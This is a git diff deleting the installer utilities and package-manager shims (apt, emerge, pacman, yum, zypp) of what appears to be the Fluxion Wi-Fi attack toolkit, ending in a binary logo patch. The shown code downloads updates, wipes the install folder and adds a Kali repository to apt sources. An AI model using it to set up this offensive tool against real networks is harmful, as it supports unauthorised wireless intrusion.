-P $parentPID) - done - - ap_service_route -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/InstallerUtils.sh b/fluxion_origins/lib/installer/InstallerUtils.sh deleted file mode 100755 index e3af974..0000000 --- a/fluxion_origins/lib/installer/InstallerUtils.sh +++ /dev/null @@ -1,293 +0,0 @@ -#!/usr/bin/env bash - -if [ "$InstallerUtilsVersion" ]; then return 0; fi -readonly InstallerUtilsVersion="1.0" - -InstallerUtilsWorkspacePath="/tmp/verspace" - -InstallerUtilsOutputDevice="/dev/stdout" - -InstallerUtilsNoticeMark="*" - -PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" - -installer_utils_run_spinner() { - local pid=$1 - local delay=0.15 - local spinstr="|/-\\" - - tput civis - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - - printf " \b\b\b\b" - tput cnorm -} - -# Pamaters: -# $1 source - Online Info File (text) -# $2 version regex - Online version (regex) -# $3 revision regex - Online version (regex) -installer_utils_check_version() { - if [ ${#@} -ne 3 ]; then return 1; fi - - # Attempt to retrieve versioning information from repository script. - local -r __installer_utils_check_version__info=$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null) - - local -r __installer_utils_check_version__onlineVersion=$( - echo "$__installer_utils_check_version__info" | egrep "$2" | egrep -o "[0-9]+") - local -r __installer_utils_check_version__onlineRevision=$( - echo "$__installer_utils_check_version__info" | egrep "$3" | egrep -o "[0-9]+") - - if [ "$__installer_utils_check_version__onlineVersion" ] && \ - [ "$__installer_utils_check_version__onlineRevision" ]; then - echo "$__installer_utils_check_version__onlineVersion" > \ - "$InstallerUtilsWorkspacePath/latest_version" - echo "$__installer_utils_check_version__onlineRevision" >> \ - "$InstallerUtilsWorkspacePath/latest_version" - fi -} - -# Pamaters: -# $1 source - Online Info File (text) -# $2 version regex - Online version (regex) -# $3 version local - Local version (number) -# $4 revision regex - Online version (regex) -# $5 revision local - Local version (number) -installer_utils_check_update() { - # The following set of statements aren't very generic, need to be refactored. - local versionDialog="Online Version" - local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4))) - printf "%${versionDialogOffset}s" "$versionDialog" - - installer_utils_check_version "${@:1:3}" & - installer_utils_run_spinner "$!" # This should be done externally (refactored). - - local __installer_utils_check_update__localVersion=$4 - local __installer_utils_check_update__localRevision=$5 - local __installer_utils_check_update__version="?" - local __installer_utils_check_update__revision="?" - - if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \ - -s "$InstallerUtilsWorkspacePath/latest_version" ]; then - local __installer_utils_check_update__vInfo - mapfile -tn 2 __installer_utils_check_update__vInfo < \ - "$InstallerUtilsWorkspacePath/latest_version" - - sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version" - - __installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]} - __installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]} - fi - - echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]" - - if [ \ - "$__installer_utils_check_update__version" != "?" -a \ - "$__installer_utils_check_update__revision" != "?" ]; then - if [ \ - "$__installer_utils_check_update__version" -gt \ - "$__installer_utils_check_update__localVersion" -o \ - "$__installer_utils_check_update__version" -eq \ - "$__installer_utils_check_update__localVersion" -a \ - "$__installer_utils_check_update__revision" -gt \ - "$__installer_utils_check_update__localRevision" ]; then - format_center_literals "[${CBGrn}A newer version has been found!$CClr]" - echo - echo -e "$FormatCenterLiterals" - return 0 - fi - fi - - return 1 # Failure -} - -# Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output -installer_utils_run_update() { - if [ ${#@} -ne 3 ]; then return 1; fi - - local __installer_utils_run_update__source="$1" - local __installer_utils_run_update__backup="$2" - local __installer_utils_run_update__output="$3" - - format_center_literals "Press$CYel Y$CClr /$CYel enter$CClr to update, anything else to skip." - echo -e "$FormatCenterLiterals" - - tput civis - local __installer_utils_run_update__option - read -N1 __installer_utils_run_update__option - tput cnorm - - # If the user doesn't want to upgrade, stop this procedure. - if [ \ - "${__installer_utils_run_update__option-}" != $'\n' -a \ - "${__installer_utils_run_update__option^}" != "Y" ]; then - return 1 - fi - - local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)" - local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z" - - # If a file with the backup name already exists, abort. - if [ -f "$__installer_utils_run_update__backupPath" ]; then - format_center_literals "[${CRed}Can't overwite existing file!$CClr]" - echo -e "$FormatCenterLiterals" - sleep 3 - return 2 - fi - - format_center_literals "[ ~ Creating Backup ~ ]" - echo -e "$FormatCenterLiterals" - echo - - 7zr a "$__installer_utils_run_update__backupPath" \ - "$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice - - format_center_literals "[ ~ Downloading Update ~ ]" - echo -e "$FormatCenterLiterals" - echo - if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then - format_center_literals "[ ~ ${CRed}Download Failed$CClr ~ ]" - echo -e "$FormatCenterLiterals" - echo - sleep 3 - return 3 - fi - - format_center_literals "[ ~ Verifying Download ~ ]" - echo - if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip" &> \ - $InstallerUtilsOutputDevice; then - format_center_literals "[ ~ ${CRed}Download Appears Corrupted$CClr ~ ]" - echo -e "$FormatCenterLiterals" - sleep 3 - return 4 - fi - - format_center_literals "[ ~ Extracting Files ~ ]" - echo -e "$FormatCenterLiterals" - echo - mkdir "$InstallerUtilsWorkspacePath/update_contents" - unzip "$InstallerUtilsWorkspacePath/update.zip" \ - -d "$InstallerUtilsWorkspacePath/update_contents" &> \ - $InstallerUtilsOutputDevice - - if [ ! -d "$__installer_utils_run_update__output" ]; then - if ! mkdir -p "$__installer_utils_run_update__output"; then - format_center_literals "[ ~ ${CRed}Failed To Create Destination Directory$CClr ~ ]" - echo -e "$FormatCenterLiterals" - echo - sleep 3 - return 5 - fi - fi - - format_center_literals "[ ~ Moving Files ~ ]" - echo -e "$FormatCenterLiterals" - echo - - # Delete all contents of previous installation. - $(cd "$__installer_utils_run_update__output"; rm -rf *) - - mv "$InstallerUtilsWorkspacePath"/update_contents/*/* \ - "$__installer_utils_run_update__output" - - format_center_literals "[ ~ ${CSGrn}Update Completed$CClr ~ ]" - echo -e "$FormatCenterLiterals" - echo - sleep 5 -} - -# Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated) -installer_utils_check_dependencies() { - if [ ! "$1" ]; then return 1; fi - - local __installer_utils_check_dependencies__CLIToolsInfo=("${!1}") - InstallerUtilsCheckDependencies=() - - local __installer_utils_check_dependencies__CLIToolInfo - for __installer_utils_check_dependencies__CLIToolInfo in "${__installer_utils_check_dependencies__CLIToolsInfo[@]}"; do - local __installer_utils_check_dependencies__CLITool=${__installer_utils_check_dependencies__CLIToolInfo/:*/} - local __installer_utils_check_dependencies__identifier="$(printf "%-44s" "$__installer_utils_check_dependencies__CLITool")" - local __installer_utils_check_dependencies__state=".....$CGrn OK.$CClr" - - if ! hash "$__installer_utils_check_dependencies__CLITool" 2>/dev/null; then - __installer_utils_check_dependencies__state="$CRed Missing!$CClr" - InstallerUtilsCheckDependencies+=("$__installer_utils_check_dependencies__CLIToolInfo") - fi - - format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_check_dependencies__identifier// /.}$__installer_utils_check_dependencies__state" - echo -e "$FormatCenterLiterals" - done - - if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi -} - -# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array -installer_utils_run_dependencies() { - if [ ! "$1" ]; then return 1; fi - if ! ping -q -w 1 -c 1 8.8.8.8 &> /dev/null; then - format_center_literals "[${CRed}!$CClr] ${CBYel}No internet connection found!$CClr" - echo -e "\n\n$FormatCenterLiterals" - - format_center_literals "[ ${CSRed}CANNOT CONTINUE${CClr} ]" - echo -e "$FormatCenterLiterals"; sleep 3 - - return 3 - fi - - # The array below holds all the packages that will be installed. - local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") - - local __installer_utils_run_dependencies__managers=("$FLUXIONLibPath/installer/managers/"*) - - local __installer_utils_run_dependencies__manager - for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do - source "$__installer_utils_run_dependencies__manager" - if [ "$PackageManagerCLT" ]; then break; fi - done - - if [ ! "$PackageManagerCLT" ]; then - format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr";echo - sleep 3 - return 2 - fi - - check_package_manager - prep_package_manager - - unset __installer_utils_run_dependencies__installerStatus - - for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do - local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/} - local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} - unset __installer_utils_run_dependencies__packageStatus - - local __installer_utils_run_dependencies__package - for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do - clear - if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then - local __installer_utils_run_dependencies__packageStatus="installed" - break - fi - done - - if [ -z ${__installer_utils_run_dependencies__packageStatus+x} ]; then - __installer_utils_run_dependencies__installerStatus="failed" - break - fi - done - - unprep_package_manager - - if [ "$__installer_utils_run_dependencies__installerStatus" = "failed" ]; then - return 3 - fi -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/managers/apt.sh b/fluxion_origins/lib/installer/managers/apt.sh deleted file mode 100755 index 05cce57..0000000 --- a/fluxion_origins/lib/installer/managers/apt.sh +++ /dev/null @@ -1,46 +0,0 @@ -#!/usr/bin/env bash - -if [ -f "/etc/debian_version" ]; then - PackageManagerCLT="apt" - PackageManagerCLTInstallOptions="install -y" - PackageManagerCLTRemoveOptions="remove -y" - - PackageManagerOutputDevice="/dev/stdout" - - unprep_package_manager() { - echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list - } - - check_package_manager() { - echo "Nothing to check." >$PackageManagerOutputDevice - } - - prep_package_manager() { - if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then - echo "Adding missing sources to package manager, please wait." - - echo "Adding keys.gnupg.net key, please wait." - if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then - echo "ERROR: Failed to fetch or add the source key!" - return 1 - fi - - echo "Adding pgp.mit.edu key, please wait." - if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then - echo "ERROR: Failed to fetch or add the source key!" - return 1 - fi - - echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list - fi - - # Cleanup package manager - apt-get install -f -y | tee -a $PackageManagerLog - apt-get autoremove -y | tee -a $PackageManagerLog - apt-get autoclean -y | tee -a $PackageManagerLog - apt-get clean -y | tee -a $PackageManagerLog - apt-get update | tee -a $PackageManagerLog - } -fi - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/managers/emerge.sh b/fluxion_origins/lib/installer/managers/emerge.sh deleted file mode 100755 index 1266d08..0000000 --- a/fluxion_origins/lib/installer/managers/emerge.sh +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env bash - -if [ -f "/etc/gentoo-release" ]; then - PackageManagerCLT="emerge" - PackageManagerCLTInstallOptions="-s" - PackageManagerCLTRemoveOptions="" - - PackageManagerOutputDevice="/dev/stdout" - - unprep_package_manager() { - echo "Nothing to unprepare." >$PackageManagerOutputDevice - } - - check_package_manager() { - echo "Nothing to check." >$PackageManagerOutputDevice - } - - prep_package_manager() { - echo "Nothing to prepare." >$PackageManagerOutputDevice - } -fi - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/managers/pacman.sh b/fluxion_origins/lib/installer/managers/pacman.sh deleted file mode 100755 index ffc6a3a..0000000 --- a/fluxion_origins/lib/installer/managers/pacman.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash - -if [ -f "/etc/arch-release" ]; then - #Last entry is the default package manager to use (pacman) - AurHelpers="pacaur yaourt pacman" - for AurHelper in $AurHelpers; do - if [ "$(pacman -Qs $AurHelper)" ]; then - PackageManagerCLT=$AurHelper - break - fi - done - PackageManagerCLT='pacman' - PackageManagerCLTInstallOptions="-S --noconfirm" - PackageManagerCLTRemoveOptions="-Rs" - - PackageManagerOutputDevice="/dev/stdout" - - unprep_package_manager() { - echo "Nothing to unprepare." >$PackageManagerOutputDevice - } - - check_package_manager() { - if [ -f "/var/lib/pacman/db.lck" ];then echo -e "[\033[31m!\033[0m] Pacman is locked, can't install dependencies. Exit."; exit 4; fi - } - - prep_package_manager() { - echo "Nothing to prepare." >$PackageManagerOutputDevice - } -fi - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/managers/yum.sh b/fluxion_origins/lib/installer/managers/yum.sh deleted file mode 100755 index f9d53d3..0000000 --- a/fluxion_origins/lib/installer/managers/yum.sh +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env bash - -if [ -f "/etc/redhat-release" ]; then - PackageManagerCLT="yum" - PackageManagerCLTInstallOptions="-y install" - PackageManagerCLTRemoveOptions="remove" - - PackageManagerOutputDevice="/dev/stdout" - - unprep_package_manager() { - echo "Nothing to unprepare." >$PackageManagerOutputDevice - } - - check_package_manager () { - echo "Nothing to check." >$PackageManagerOutputDevice - } - - prep_package_manager() { - echo "Nothing to prepare." >$PackageManagerOutputDevice - } -fi - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/installer/managers/zypp.sh b/fluxion_origins/lib/installer/managers/zypp.sh deleted file mode 100755 index 81df10f..0000000 --- a/fluxion_origins/lib/installer/managers/zypp.sh +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env bash - -if [ -f "/etc/SuSE-release" ]; then - PackageManagerCLT="zypp" - PackageManagerCLTInstallOptions="install" - PackageManagerCLTRemoveOptions="remove" - - PackageManagerOutputDevice="/dev/stdout" - - unprep_package_manager() { - echo "Nothing to unprepare." >$PackageManagerOutputDevice - } - - check_package_manager() { - echo "Nothing to check." >$PackageManagerOutputDevice - } - - prep_package_manager() { - echo "Nothing to prepare." >$PackageManagerOutputDevice - } -fi - -# FLUXSCRIPT END diff --git a/fluxion_origins/logos/logo.jpg b/fluxion_origins/logos/logo.jpg deleted file mode 100644 index b42fcc2a1c2a7ab304c3cc2ca99e2ae1a2387a55..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 152551 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 